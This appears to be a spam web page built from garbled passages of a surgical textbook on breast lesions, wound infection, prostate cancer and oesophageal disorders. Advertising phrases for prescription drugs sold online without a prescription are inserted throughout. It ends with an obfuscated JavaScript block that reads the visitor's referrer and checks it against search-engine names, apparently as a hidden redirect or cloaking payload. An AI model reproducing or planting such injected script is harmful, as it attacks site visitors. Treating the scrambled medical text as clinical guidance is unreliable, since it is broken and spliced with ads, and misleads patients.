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Malignant lesions reveal themselves as localized fine or punctate calcification and small areas of increased stromal density and architectural distortion See Fig. Benign tumours like fibroadenoma present as denser calcification with smooth outline Fig. Accuracy is significantly lower in younger patients generic Ampicillin increased heat production and increase in vascularity.

But thermography has proved to be somewhat disappointing in the diagnosis of carcinoma of generic Diflucan At present 50 to 75 per cent of cancers are recorded as not being detected by thermographic scan. But when used in conjunction with physical examination and mammography, thermography can be expected to increase the number of cancers detected by 3 to 5 per cent.

Fluid-filled buy Acyclovir lack an internal echo pattern, Buy Avana 100 mg Online No Prescription, whereas solid lesions are filled with internal echoes. If the solid lesions are homogeneous, the echo pattern is evenly distributed throughout the mass.

Breast ultrasonograms are of limited usefulness in the detection and diagnosis of breast cancer. Generally antibiotics are continued for 7—10 days after A long midline incision provides the buy Avana 100 mg Online No Prescription exposure to all abdominal surgery for perforation or dead bowel buy Avana 100 mg Online No Prescription 50mg avana amex. If a discrete, contained abscess cheap Ponstel Intraoperative Considerations Similarly carefully mobilize the sigmoid colon and look for a tiny diverticular perforation.

Some surgeons radiationbook.com place closed suction drains near the most likely source, for example, near the sigmoid colon if Continue goal-directed resuscitation in the operating room. Hypothermia during abdominal surgery has been associated with an increase in surgical wound infections. In animals, it has been shown to cause intraoperative and postoperative Surgical Technique: Does the Surgeon vasoconstriction with a resulting decrease in subcutaneous Make a Difference?

Decreased oxygen tension, in turn, buys Avana 100 mg Online No Prescription in decreased microbial defense and impaired immune Studies have shown that when infection rates of individual function. Thus, attention has been directed to the effect of surgeons are followed and the surgeons are provided with perioperative normothermia versus hypothermia and the feedback regarding these data, their postoperative infection incidence of surgical wound infection. Unfortunately, most such buys Avana 100 mg Online No Prescription concern a prospective double-blind randomized study in humans clean elective surgery where the anticipated wound infection undergoing elective colorectal surgery and showed that rate is extremely low.

Although there are historical data that attempt to compare resistance of surgical wounds to infection based on the use of Wound Irrigation a steel knife versus electrocautery, few data support one technique or the other. Some attention has been also given to Adequate intraoperative irrigation of the buy Avana 100 mg Online No Prescription minimizes proper suture usage. The guiding message in this regard the bacterial inoculum and has been shown to decrease post- should be to limit suture use to a necessary minimum, avoid- operative infection.

It has long been customary to pour sev- ing undue tissue tension and strangulation. Experimental models buy Avana 100 mg Online No Prescription shown Many surgeons drape off isolate the surgical incision by that the most important factor that determines wound infec- applying wet towels or gauze to the subcutaneous tissue, which tion during contaminated surgery is the number of bacteria minimizes contact with gross contamination but does not pre- present at the wound margins at the end of the operation.

Irrigants have contained and then opened and spread out to cover the subcutaneous fat such antibiotics as a cephalosporin, an aminoglycoside, neo- and musculoaponeurotic buys Avana 100 mg Online No Prescription of the abdominal wall Fig. It is a well-accepted practice to leave the skin and subcutaneous tissue open after such operations to allow drainage. The main goal of such management is to prevent potentially devastat- ing complications, such as fasciitis. Delayed primary closure, within 4—6 postoperative days, results in fewer wound infections than primary closure after contaminated operations. When successful, delayed primary closure avoids large wounds that require labor-intensive, potentially expen- bacterial inoculum, wound irrigation rinses the operative sive care.

Wound Dressings Other Considerations Wound dressings are a means to buy Avana 100 mg Online No Prescription the wound and a mechanism for absorbing wound drainage. Wounds that are Drains are used when a localized collection of pus a well- to heal by secondary intention or delayed primary closure formed abscess is found or when there is concern over con- require a wound dressing. These dressings must be changed at within a short period of time, consider damage control lapa- least twice a day. On occasion, contaminated and attention in the United States, with most of the available lit- infected abdominal operations require marsupialization, erature arising from European study groups.

They can also take the other hand, once the wound is closed, it is not simple to place, with care, in the intensive care setting. Local antibiotic therapy has been supplied in the form of Acknowledgment This chapter was contributed by Claudia L. Antibiotic-containing collagen sponges appear to be most practical, as the collagen dissolves and does not require Further Reading removal.

The sponges are usually in the form of sheets and therefore can be used to cover large areas more accurately Ambrosetti P, Gervaz P, Buy Avana 100 mg Online No Prescription, Fossung-Wiblishauser A. Local antibiotic therapy has been utilized for tis in : Risk factors for severe sepsis in secondary dures, and cardiovascular and vascular surgery.

Re-operation for complicated secondary Wound Closure peritonitis — how to identify patients at risk for persistent sepsis. Direct peritoneal resuscitation accelerates primary age control laparotomy in pancreatic surgery. Scott-Conner Damage control laparotomy is performed under dire situa- of blood and blood products including activation of a mas- tions, when a patient requires surgery but is too unstable to sive transfusion protocol.

generic Moduretic was initially developed, Prep and drape the entire abdomen, chest, buy Avana 100 mg Online No Prescription, and and is still most commonly used, in the trauma situation. First, operative time is min- drains. Make a long laparotomy incision from xiphoid to imized by concentrating on control of injuries rather than pubis. Eviscerate abdominal compartment syndrome are avoided by leaving the bowel to gain better exposure to all quadrants. Identify and control bleeding sites by packing solid organ It is also applicable to other emergency situations, most injuries, repairing major vessels and ligating small ones.

In this situation, Control contamination from hollow viscus injuries with a planned second-look operation provides the best opportu- clamps, staples, or suture. Ventral hernia formation is common, and most patients management in the damage control situation are discussed in will require a subsequent operation for repair of their the sections that follow. Decision to Perform Damage Control Damage Control in Trauma The decision to buy Avana 100 mg Online No Prescription damage control rather than to pur- Always follow the basic principles of trauma surgery.

Physiologic criteria buy Avana 100 mg Online No Prescription acidosis, catheters in place and adequate but not excessive resuscita- hypothermia, and coagulopathy. If this abscess is allowed to burst spontaneously order avana american express, the lesion settles temporarily but recurrent abscesses usually develop order avana visa. This goes on till a chronic milk fistula develops at the edge of the areola which continues to discharge purchase avana with american express.

This is somewhat embarrassing, isn’t it?

The fistula may be excised to lay buy Avana 100 mg Online No Prescription the underlying tissue to be Where Do I Get Nexium 40 mg by granulation tissue. Only in very recurrent conditions with presence of periductal mastitis it is better to excise the breast tissue around the involved duct through a radial incision. The infection arises from the tissues deep to dotted area indicates deep surface of the the breast, i Infected haematoma, ii empyema, iii tuberculosis breast which can be readily exposed through this incision.

It must be remembered that the condition is much less painful than the pyogenic infection. The abscess is the cold abscess, so redness and oedema, calor and dolor are conspicuous by absence. The diagnosis is made by blood test, bacteriological examination of the discharge, chest X-ray, lymph node biopsy etc. Secondary stage of syphilis may be revealed in the form of mucous patches on the submammary fold. Usual chemotherapy is started and if the disease does not respond so effectively to this chemotherapy, local mastectomy is indicated.

The cause is often not known and is a part of spontaneous thrombophlebitis anywhere in the body. Clinical feature is presence of painful red bought Avana 100 mg Online No Prescription subcutaneous thrombophlebitic cord. When the corresponding arm is raised there may be appearance of groove alongside the indurated vein. Some antibiotic treatment should be started and thrombophobe ointment may be applied. The condition usually subsides within radiationbook.com few months without recurrence or complication. This has resulted in many patients with benign breast disease receiving less attention from clinicians.

Benign breast disease has also suffered from the buy Avana 100 mg Online No Prescription disadvantage of a hopelessly confusing terminology and inadequate classification. Breast lumps — — Cysts — galactocele — sclerosing adenosis — fat necrosis — cyclical nodularity — chronic abscess — lipoma. Despite complexity of classification, there are relatively few presenting symptoms of benign breast disease.

Symptoms fall into 3 main groups — Breast pain, Lumps and Disorders of the nipples and periareolar region. Clinician must be particular to exclude carcinoma while venturing to diagnose a condition as benign breast disease. In the remainder there is no such correlation — this is known as non-cyclical mastalgia. Cyclical mastalgia has been described in the section of Aberrations of Normal Development and Involution. It is more chronic, unilateral and located in the medial quadrant of the breast and in the periareolar region. The surgeon has two important tasks when confronted with a patient with such lumpy breast. The various buys Avana 100 mg Online No Prescription which are included in the classification of benign breast disease deserve separate management according to the individual case.

Other aetiological factors include excessive caffeine ingestion or inadequate essential fatty acid intake. There is a good evidence that essential fatty acid supplement can reduce the symptoms of cyclical mastalgia. Periductal mastitis leads to connective tissue hyperplasia of the periductal tissue and fibrous stroma. Early workers suggested that they might simply be distended ducts or they may result from cystic lobular involution.

Description

In the latter cases lobules develop microcysts which eventually coalesce to be larger cysts. More recent investigations have suggested that the aetiology of these cysts is more complex than previously believed. It seems that interstitial fluid passively diffuses through simple membrane to cause such cyst. This cyst tends to be single, non-recurrent and not associated buy Avana 100 mg Online No Prescription increased risk of cancer. The second type cyst is lined with apocrine epithelium characterised by large columnar cells resembling those found in apocrine sweat glands.

It is suggested that apocrine epithelium actively secrete potassium into the cyst fluid. The cysts may become large when the solitary draining duct is blocked by kinking or hyperplasia. One cyst may be palpable whereas others in the surrounding breast tissue are not palpable. The epithelial hyperplasia may be so extensive that it may result in papillomatous overgrowth within the ducts and cysts. This is easily distinguished from the hard, gritty and greyish lesion of carcinoma. A variant of this condition is known as sclerosing adenosis, where glandular proliferation adenosis is so distorted by proliferation of fibrous or myoepithelial buys Avana 100 mg Online No Prescription as to buy Avana 100 mg Online No Prescription the normal lobular arrangement. The clear difference is absence of mitosis in this condition, where the nuclei are regular and cystic spaces between cells can be found.

Episodes of discomfort may last for some months, there may be years of freedom of pain until symptoms begin again. Haematuria may occur late in the course of disease if the bladder or urethra is invaded discount avana 200mg mastercard.

General examination should be performed carefully to exclude anaemia avana 100mg for sale, tenderness in the spine, enlarged lymph generic Mestinon carcinoma of the prostate. This gap is obliterated by invasion of the lateral pelvic wall is clear on both sides. This category includes those cases of the incidental finding of cancer in an operative or biopsy specimen. Smooth nodule may deform the contour but the lateral sulci and the seminal vesicles are not involved.

N4 — involvement of juxta-regional lymph nodes, which are common iliac or para-aortic nodes. This may be secondary to extensive marrow invasion or secondary to renal failure or due to haemorrhage or infection. The commonest primary malignant lesion which causes osseous metastasis is carcinoma of prostate. Osteolytic metastases may also be bought Avana 100 mg Online No Prescription in cancer of the prostate and may coexist with sclerotic ones.

Transrectal ultrasonography is now often used particularly in screening to detect early carcinoma of the prostate. This technique is considered to be the best method for staging of cancer prostate.

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• Haematuria may occur late in the course of disease if the bladder or urethra is invaded discount avana 200mg mastercard.
• Patients having stilboestrol as treatment of prostatic cancer may persent with this condition.

But it must be confessed that its efficacy is less than mammography in detecting prostatic cancer. However advanced spread beyond the gland is often best identified on a Tl-weighted image, where tumour fat contrast is accentuated. Following injection of intravenous contrast medium prostatic tumours enhance and this may be valuable for defining both the www.hydro-king.de extent of the tumour and spread beyond die gland.

It also indicates the small extradural lesions, which may be treated before neurological damage has occurred. Such biopsy may be performed without general anaesthesia as an outpatient procedure. Presently transrectal biopsy using an automated gun with appropriate antibiotic cover is used. This is considered to be pathognomonic of advanced disease whether or not metastasis is detected.

It is therefore worth doing both acid and alkaline phosphatase estimation as part of cheap Plavix search for distant metastasis. Relatively sudden attack of dysuria with very short history of other urinary troubles should give rise to suspicion of this diagnosis. As soon as the retention is relieved, by whatever method applied, stilboestrol should be started 5 mg daily. Adjuvant radiotherapy offers nothing to the patient undergoing radical prostatectomy.

In this respect early hormonal therapy seerns to Cheap Zithromax 500 mg Order even better than early androgen ablation. Recently iodine125 buys Avana 100 mg Online No Prescription have been implanted into the prostate gland alongwith lymph node dissection for staging. The capsule appears to provide an effective barrier against the spread of tumour and once this is breached, dissemination of the disease is likely to occur. So under these circumstances, local treatment to the prostate alone is unlikely to eradicate the disease.

Various adjuvants have been used in an attempt to improve the result of radical prostatectomy in locally advanced disease. Infiltration of the prostatic bed with radio-active colloidal gold l98Au has been supplemented with radical prostatectomy. Direct retropubic implantation of the prostatic tumour buy Avana 100 mg Online No Prescription 125I seeds has been tried. This will provide low energy irradiation buy Avana 100 mg Online No Prescription life 60 days, in the tune of no less than 8,000 rads in two months. External beam radiation therapy should ensure a more satisfactory dose distribution and the field can be extended to include para-aortic and pelvic lymph nodes. Extended surgical excision, in this patient, should be reserved for the rare cases, who have failed with hormonal and other methods of treatment and yet continue to exhibit local growths, which are incapacitating but without evidence of metastasis.

When the fluid is aspirated the cardiac orifice can only be located with difficulty due to its contracted condition generic 200mg avana otc. In case of benign stricture this investigation not only helps in the diagnosis but also can be used to dilate the stricture with an oesophageal bougie buy cheap avana line. In carcinoma of oesophagus it is not only diagnostic but also gives an indication about the histology of the cancer by taking buy Avana 100 mg Online No Prescription specimen through oesophagoscopy discount avana amex. In reflux oesophagitis this investigation shows inflammation of the mucosa of the lower end of the oesophagus order avana line. In achalasia with a moderately dilated oesophagus if a lateral chest X- ray is taken a typical air-fluid level may be seen in the posterior mediastinum which along with the typical symptoms is diagnostic of achalasia.

More or less all the conditions which may give rise to dysphagia will be diagnosed by this investigation. If a pharyngeal buy Avana 100 mg Online No Prescription is suspected a thin emulsion of barium should be used for barium swallow. This will show that the barium first feels the pharyngeal pouch, and then overflows from the top. In stricture the meal is first arrested in the dilated oesophagus immediately above the constriction and gradually trickles down through the stricture. The stenosed portion is usually smooth and does not produce any soft tissue shadow as may be obtained in carcinoma. In case of carcinoma the dilatation of the oesophagus above the tumour is less marked.

In achalasia the radiographic appearance varies according to the extent of the disease.

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In buy Norvasc the oesophagus, whereas in late stage there is massive dilatation and tortuosity of the oesophagus. No benign oesophageal tumours produce characteristic features in barium buy Avana 100 mg Online No Prescription examination. In case of polyps there is also characteristic filling defect detected in this examination. In gastro-oesophageal reflux during the course of barium swallow examination reflux can be demonstrated. This study shows multiphasic, repeatitive and high-amplitude contractions that occur after swallowing in the smooth muscles of the oesophagus. In case of gastro-oesophageal reflux, pH recording in the oesophagus 5 cm above the distal oesophageal high-pressure zone shows decline in pH to less than 4, which is a clear evidence of gastro-oesophageal reflux.

These investigations however may find out abnormal masses in the mediastinum and aortic aneurysm which may press on the oesophagus to cause dysphagia. The proximal oesophagus ends as a blind tube and the distal oesophagus is joined to the lower part of the trachea with a tracheo- oesophageal fistula. During foetal life this condition may be recognized by presence of hydramnios, but this may not be present.

When the tip of this tube is radio-opaque, straight X-ray is situ can diagnose this condition. Straight X-ray also reveals intestinal gas which indicates communication of distal trachea with distal oesophagus. The greatest risk of this condition is that there is a great possibility of aspiration of gastric juice, which is highly injurious to the lungs. The patient is nearly always a middle-aged woman who presents with difficulty in swallowing. ED is a medical condition in men characterised by an inability to get or keep a hard, erect penis suitable for sexual activity. Avanafil Tablets belong to a group of medicines called phosphodiesterase type 5 PDE5 inhibitors.

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5l8BM

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,55,119,51,52,53,57,72,84,77,76,60,34,48,112,47,95,63,38,43,85,67,65,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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